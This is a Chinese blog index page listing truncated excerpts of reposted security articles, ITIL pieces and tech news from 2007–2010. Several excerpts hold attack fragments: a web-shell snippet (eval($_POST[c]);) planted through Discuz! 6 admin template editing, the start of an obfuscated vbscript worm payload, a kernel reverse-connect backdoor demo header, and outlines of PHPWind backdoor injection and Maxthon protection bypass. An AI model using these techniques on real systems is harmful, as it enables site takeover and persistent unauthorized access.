linkboy的博客_网络安全技术转载博文

从“网易邮箱被黑”看网页游戏账号安全

7月3日，据网友爆料网易邮箱系统大面积被黑。其中163、126、188、yeah邮箱均被入侵。据了解黑客没有做任何有恶意性的破坏，只在每个域名后面留下了文本文档以表示入侵。留下这么一句玩笑话，仿佛是嘲笑网易的无能，彰显自己的伟大。　　虽然这个小小的插曲并没有给我们造成什么大的损失，但也不得不再次让人们对于邮箱的安全性产生怀疑！网易的邮箱系统号称是技术最完善的，但

网页

账号

游戏

休闲

网易邮箱被黑

转载精选 2010-07-03 19:28:54 1770 阅读

微软表示定期更改密码没用或浪费时间金钱

微软日前公布的一项调查结果显示，定期更换密码并不能将黑客拒之门外，反而是浪费时间和金钱。当前，许多企业IT部门强制员工定期更改密码，以作为安全策略之一。这不但让员工感到反感，更让网络管理员感到头痛。但微软日前公布的一项调查结果显示，这样做根本起不到实际作用。微软指出，黑客获得用户登录密码后，会立刻发动攻击，而不会等上几周时间，让用户更改后再发动攻击。这就好比，一个小偷捡到一把钥匙后，不去

微软

密码

时间

金钱

定期

转载精选 2010-04-15 20:54:47 723 阅读 1评论

UCenter_Home横跨三个版本的鸡肋注入

这个注入从1.2版本就存在，08年末在大家广泛使用1.5版本的时候要搞个uchome的站，于是看了下源码找到这个点，写了个没用的exp藏一年多了一直丢硬盘没发，前几天看了下2.0版本看到依旧存在，还跟flyh4t说要不要公布呢。既然xhming公布了，我也说下吧。估计很多大牛也做为后备0day雪藏很久了吧。首先说鸡肋，两个原因导致： 1是漏洞的存在必须开启全局变量，即register_glo

休闲

Home

鸡肋

UCenter

横跨

转载精选 2010-02-22 17:56:00 1004 阅读

ITIL流程管理六步走

体悟之一：以前目标管理，现在流程管理服务管理实施前后主要的变化，表面看增加了一些流程经理，增加了一些“领导”——事件经理、变更经理，配置经理，问题经理。其实公司的业务没有发生变化，以前做什么现在还做什么。以前什么事情自动默认“目标管理”——最快最短流程的完成目标结果。效率很高，但有时候会出错，事

职场

管理

ITIL

休闲

流程

转载精选 2010-02-11 16:26:00 846 阅读

跨站脚本XSS–褚诚云

《程序员》文章。申明。文章仅代表个人观点，与所在公司无任何联系。 1.概述跨站脚本Cross-Site Scripting（XSS）是最为流行的Web安全漏洞之一。据统计，2007年，跨站脚本类的安全漏洞的数目已经远远超出传统类型的安全漏洞【1】。那么，什么是跨站脚本？它的危害性是什么？Web开发人员如何在开发过程中避免这类的安全漏洞？就是我们这篇文章要讨论的内容。 2.什

职场

脚本

XSS

休闲

褚诚云

转载精选 2009-07-03 16:41:00 613 阅读

fedora官服被黑，redhat的openssh包被放后门

导读：　　在这个事情上，我们首先要思考的就是如何避免出现这类问题，出现了，如何定损和止损。　　http://www.securityfocus.com/archive/1/495671/30/0/threaded 　　https://www.redhat.com/archives/fedora-announce-list/2008-August/msg00012.html 　　

redhat

fedora

openssh

后门

官服

转载精选 2008-08-27 11:27:00 755 阅读

基于ITIL的补丁管理

导读：　　ITIL并不能直接指导企业IT架构的日常维护和补丁升级操作，但ITIL涵盖了范围更为宽广的变更、分发和配置管理，从而使利用ITIL的思想和原则对企业的补丁管理流程进行规范成为可能。　　企业在对IT架构实施补丁升级的过程中，会遇到相当多的问题。冗余低效的补丁分发方案、补丁记录缺失、高风险的补丁实施和没有制定有效的补丁撤销策略等是其中影响最大的问题。这些问题的存在，不但明显降低了

职场

管理

ITIL

休闲

转载精选 2008-07-06 13:17:00 869 阅读

[提权技术] Discuz! 6 后台拿Shell的方法

如果后台可以在线编辑模板的话，下面的方法就可以拿SHELL了：） 1.后台编辑customfaq(customfaq.lang.php文件) 在 Copy code eval($_POST[c]); 2.后台编辑misc(misc.lang.php文件) 把post_reply_quote对应的内容改为 Copy code ";eval($_POST[c]

Shell

后台

休闲

Discuz

权技术

转载精选 2008-06-29 09:54:00 988 阅读

Maxthon遨游浏览器多个高危0day

漏洞说明：傲游浏览器是一个强大的多页面浏览器. 除了方便的浏览功能, 傲游浏览器还提供了大量的实用功能改善用户的上网体验，其在中国浏览器市场拥有大量的用户，以安全，界面友好著称。但是80sec安全组织发现遨游在安全处理上存在安全漏洞，导致恶意站点可以修改任意用户配置，读取用户历史访问记录，远程下载文件等种种恶意操作。漏洞厂商：http://www.maxthon.cn/ 漏洞成因

职场

休闲

Maxthon

遨游浏览器

转载精选 2008-06-24 10:47:00 592 阅读

新木马病毒可更改路由器设定监控用户网络流量

据研究人员报告，一种被称之为“zlob”（又称dnschanger）的特洛伊木马病毒已经被发现，这种病毒可以攻击受害者的互联网路由器，并监控受害人的网络流量。研究人员指出，当受害人自己的Windows系统被感染之后，zlob木马会尝试猜测路由器的用户名和密码组合，如果成功，此木马会改变受害者路由器的DNS，使所有的网络流量都可以被监控。很早之前研究人员就警告说总有

网络

路由器

用户

流量

转载精选 2008-06-24 10:46:00 1161 阅读

我在入侵过程中注意到的细节（二）

《黑客手册200802》我在入侵过程中注意到的细节（二） lcx 上期我写的基本都是在入侵内网过程中要注意到的细节，不过现在流行的毕竟是注入了。现在常规注入针对的也就是asp、php、jsp、cfm、 cgi等的动态脚本。针对各种脚本的话，如果注意一些细节，像构造特殊字符，也会起到很奇妙的作用。像最早的%5c暴库、%00截断都是轰动一时的漏洞。这些漏洞被发现，无非是发现都对脚本语

职场

休闲

细节

转载精选 2008-06-07 20:06:00 415 阅读

我在入侵过程中注意到的细节（一）

导读：　　《黑客手册200801》　　我在入侵过程中注意到的细节（一）　　lcx 　　细节决定成败，不但对于写程序、渗透入侵甚至人生都是如此。谈人生就有点深奥了，还是来谈谈入侵吧。记得很久前有一位同事，注入的时候，在sa权限什么命令都能执行的情况下竟然入侵花费了三天左右的时间，为什么呢？这是因为他在NBSI下输了个time命令，想看下服务器的时间，结果命令无法应答，注入点宕在

职场

休闲

转载精选 2008-06-07 20:06:00 400 阅读

我在入侵过程中注意到的细节（三）

导读：　　《黑客手册200803》　　我在入侵过程中注意到的细节之三　　lcx 　　前两期中的专栏中，针对细节入侵这一专题，我分别写了我在内网和注入中注意到的一些细节。其实入侵过程中，有时候难免会与管理员面对面，如何更好的隐蔽自己也是很重要的，一旦不注意，入侵工作往往前功尽弃。这期专栏中，我就如何隐蔽自己所做的一些工作，所注意到的细节来写一下。　　先来说一下嗅探吧。大家

职场

休闲

转载精选 2008-06-07 20:05:00 542 阅读

绿盟于旸：让阿里安娜火箭爆炸的缓冲区溢出 linkboy语录：tk出品必是精品呵呵

腾讯科技讯 3月18日，由中国最大的互联网综合服务提供商腾讯发起和组织的互联网安全峰会在深圳召开。包括微软、盛大、新浪等互联网界各大巨头的技术专家，学者和专业人士参与了此次的交流。此次峰会是今年以来首场由中国互联网各顶尖企业共同参与的大型网络安全专业盛会。来自绿盟的于旸，在现场发表演讲。以下为文字实录：于旸：我首先做个自我介绍，我叫于旸，目前主要从事信息技术安全有关的研究工作。腾讯

职场

绿盟

休闲

linkboy

阿里安

转载精选 2008-03-20 13:39:00 1172 阅读

关闭XP保护。替换explorer.exe

导读：　　在偶的VPC上测试是可以的。没有更多的测试. 　　偶并没有调用dllcache目录下的.你喜欢吧　　{*******************************************************} 　　{ } 　　{ 关闭XP保护。替换explorer.exe&n

职场

exe

explorer

休闲

转载精选 2008-02-01 20:32:00 670 阅读

Cisco路由器及交换机安全加固

导读：　　　　Cisco路由器及交换机安全加固　　关键词：Cisco、IOS、信息安全　　根据木桶理论，一个桶能装多少水，取决于这个桶最短的那块木板。具体到信息系统的安全也是一样，整个信息系统的安全程度也取决于信息系统中最薄弱的环节，网络做为信息系统的体，其安全需求的重要性是显而易见的。　　网络层面的安全主要有两个方面，一是数据层面的安全，使用ACL等技术手段，辅助应

交换机

Cisco

路由器

休闲

加固

转载精选 2008-01-30 09:14:00 384 阅读

Discuz! 6 后台拿Shell的方法

如果后台可以在线编辑模板的话，下面的方法就可以拿SHELL了：） 1.后台编辑customfaq(customfaq.lang.php文件) 在 Copy code eval($_POST[c]); 2.后台编辑misc(misc.lang.php文件) 把post_reply_quote对应的内容改为 Copy code ";eval($_

职场

Shell

后台

休闲

Discuz

转载精选 2008-01-29 16:43:00 521 阅读

见过的最详强的讲ESP定律脱壳（推荐）

导读：　　　　FROM: poptown.gamewan.com/bbs 　　　　E-MAIL：meila2003@163.com 　　　　　　　1.前言　　　　在论坛上看到很多朋友，不知道什么是ESP定律，ESP的适用范围是什么，ESP定律的原理是什么，如何使用ESP定律？看到了我在“”调查结果发现,大家对ESP定律很感兴

定律

脱壳

ITIL的局限性

由于公司建设ITSM系统的需要，开始接触ITIL理论，学习的来源多来自于一些文档、书籍及网上的资料，随着理解的深入，越发觉得ITIL有相当的局限性，尤其当公司人人对ITIL奉为圣旨时，就更加担心我们自身会走入一个误区，我总相信没有一种管理理论可以为一个公司带来质的飞跃，对所谓的流行理论，我个人一直抱有相对冷淡的立场，比如近来喊得比较多的蓝海战略之类，其实本没有任何新意，德鲁克在五十年前就已提出来了

职场

ITIL

休闲

局限性

转载精选 2008-01-15 14:49:00 687 阅读

ITIL之流程管理

流程管理　　流程管理　　每一个组织都希望实现其愿景、使命、目标和政策，这就意味着需要进行恰当的活动。以餐馆为例，恰当的活动包括购买蔬菜、记账、订购佐料、接待客人、清理桌子、刨土豆皮以及煮咖啡等。　　在这样一个毫无规律的列表下，有些活动可能会被漏掉，我们也很容易迷惑。因此，将这些活动按一定的结构组织起来是一个很好的主意。最好是，它们的组织方式让我们容易看出每组活动对组织目标的贡献，

职场

管理

ITIL

休闲

流程

转载精选 2008-01-15 14:48:00 1019 阅读

如何对PHP程序中的常见漏洞进行攻击（上）

之所以翻译这篇文章，是因为目前关于CGI安全性的文章都是拿Perl作为例子，而专门介绍ASP，PHP或者JSP安全性的文章则很少。Shaun Clowes的这篇文章比较全面地介绍了PHP的安全问题，原文可以在http: //www.securereality.com.au/studyinscarlet.txt找到。　　由于原文比较长，而且有相当一部分是介绍文章的背景或PHP的基础知识，没有涉

PHP

攻击

程序

漏洞

休闲

转载精选 2007-12-19 21:06:00 321 阅读

【转】如何对PHP程序中的常见漏洞进行攻击（下）

正如我们前面讨论的那样，include()和require()主要是为了支持代码库，因为我们一般是把一些经常使用的函数放到一个独立的文件中，这个独立的文件就是代码库，当需要使用其中的函数时，我们只要把这个代码库包含到当前的文件中就可以了。　　最初，人们开发和发布PHP程序的时候，为了区别代码库和主程序代码，一般是为代码库文件设置一个“.inc”的扩展名，但是他们很快发

PHP

攻击

程序

漏洞

休闲

转载精选 2007-12-19 21:06:00 485 阅读

域名停放指南

域名停放服务能为您带来什么好处？　　域名停放服务可以让您利用闲置的域名赚钱，而且不需要您建立自己的网站，为您带来一定收益的同时增加域名出售转让的机会。　　哪些域名可以应用于域名停放服务？　　一般域名停放服务主要是利用域名带来的访问者达到广告点击收益的，所以一般情况下要求您所持有的域名有一定的访问者（流量）。能带来流量的域名包括：带有极佳关键词的域名、被搜索引擎收录的域名、原来建过

职场

域名

指南

休闲

转载精选 2007-12-10 15:00:00 10000+阅读

Arp反欺骗策略

职场

Arp

欺骗

休闲

转载精选 2007-11-20 16:29:00 373 阅读

【信息安全】怎样保证银行的IT系统安全--网络安全老三样的断想

好久不碰技术方面的东西，今天在ChinaCISSP上看到一篇讨论银行主机安全的帖子，心里觉得痒痒的，决定发表一点点想法，谁知道话匣子打开了越说越多，竟然鸡零狗碎扯了一通，后来不舍得丢弃，就把他记录在自己的blog里。] 其实作为银行这样的公司，他们对于IT系统的依赖以及这些系统地对外开放性决定了他们需要比一般企业要多花更多的精力来保护他们的IT系统。而从技术层面来讲，IT系统中间最容易出问题又最

系统

银行

网络安全

老三样

断想

转载精选 2007-11-07 10:40:00 726 阅读

【信息安全】屁股决定脑袋的COSO内控框架，一篇对COSO的趣评

在BBS上看到有人转贴的一篇评价COSO的文章，一口气看完，觉得文采、分析都非常有特点，是我喜欢的类型 :) 故转贴之~~~~ 文章有点长，帮忙总结一下中心思想:) 文章作者主要想说明 CPA为了最大化自己的利益，制定出的COSO框架存在不少缺陷，一是内部控制的范围不够宽，没有包括本应是内部控制一部分的战略规划、风险管理和纠正行为。二是内部控制的目标从范围和内容上都不够准确，范围上来说缺少对资产

信息安全

框架

脑袋

COSO

屁股

转载精选 2007-11-07 10:39:00 770 阅读

一个不为人知的感染几百万校内网用户的蠕虫分析

在一次查看校内网网页源程序的时候无意间发现一个校内蠕虫，开始还以为是我的网页有问题，就随便打开几个人的页面查看，发现许多人的页面上也有这段代码。 Copy code <a name="mya113" id="mya113" style='background:url(vbscript:execute(StrReverse(")"

蠕虫

用户

休闲

感染

不为人知

转载精选 2007-11-01 11:28:00 595 阅读

一个简单的内核后门原型

这是一个在内核模块中实现的反连后门，大家看看这于应用层上的实现有什么不同吧，呵呵 /* * Kernel mode connect backdoor,haha~ * * just a demo module to teach you how to write a backdoor in kernel mode, * i belive you can add more code to ma

职场

内核

休闲

后门

原型

转载精选 2007-10-25 17:41:00 540 阅读

maxthon2(遨游2) mxsafe.dll对网页木马的防护以及绕过

maxthon2启动的时候装载mxsafe.dll对一些api进行了hook.在浏览器里运行程序,如果这些程序不在其信任列表里面,就会蹦个框,要求允许/禁止.所以,大部分下载木马在启动的时候就被检测到了. 要知道mxsafe hook了哪些api. od maxthon.exe, bp WriteProcessMemory, F9看改了哪些地址.或者启动maxthon.exe,用rooktit

网页

dll

防护

mxsafe

转载精选 2007-10-20 17:41:00 824 阅读

A new way to inject backdoor in PHPWind

by superhei 2007-10-08 http://www.ph4nt0m.org Text Mode pw的一个放后门的方式 data\bbscache\admin_record.php是记录后台登陆和操作的,我们看看是怎么操作这个文件的: admin\admincp.php: $bbsrecordfile=D_P."data/bbscache/admin_r

new

休闲

PHPWind

backdoor

inject

转载精选 2007-10-20 17:41:00 774 阅读

官方博客	全部文章	热门标签	班级博客
了解我们	网站地图	意见反馈

鸿蒙开发者社区	51CTO学堂
51CTO	软考资讯

51CTO博客

linkboy

从“网易邮箱被黑”看网页游戏账号安全

微软表示定期更改密码没用或浪费时间金钱

UCenter_Home横跨三个版本的鸡肋注入

ITIL流程管理六步走

跨站脚本XSS–褚诚云

fedora官服被黑，redhat的openssh包被放后门

基于ITIL的补丁管理

[提权技术] Discuz! 6 后台拿Shell的方法

Maxthon遨游浏览器多个高危0day

新木马病毒可更改路由器设定监控用户网络流量

我在入侵过程中注意到的细节（二）

我在入侵过程中注意到的细节（一）

我在入侵过程中注意到的细节（三）

绿盟于旸：让阿里安娜火箭爆炸的缓冲区溢出 linkboy语录：tk出品必是精品呵呵

关闭XP保护。替换explorer.exe

Cisco路由器及交换机安全加固

Discuz! 6 后台拿Shell的方法

见过的最详强的讲ESP定律脱壳（推荐）

ITIL的局限性

ITIL之流程管理

如何对PHP程序中的常见漏洞进行攻击（上）

【转】如何对PHP程序中的常见漏洞进行攻击（下）

域名停放指南

Arp反欺骗策略

【信息安全】怎样保证银行的IT系统安全--网络安全老三样的断想

【信息安全】屁股决定脑袋的COSO内控框架，一篇对COSO的趣评

一个不为人知的感染几百万校内网用户的蠕虫分析

一个简单的内核后门原型

maxthon2(遨游2) mxsafe.dll对网页木马的防护以及绕过

A new way to inject backdoor in PHPWind

欢迎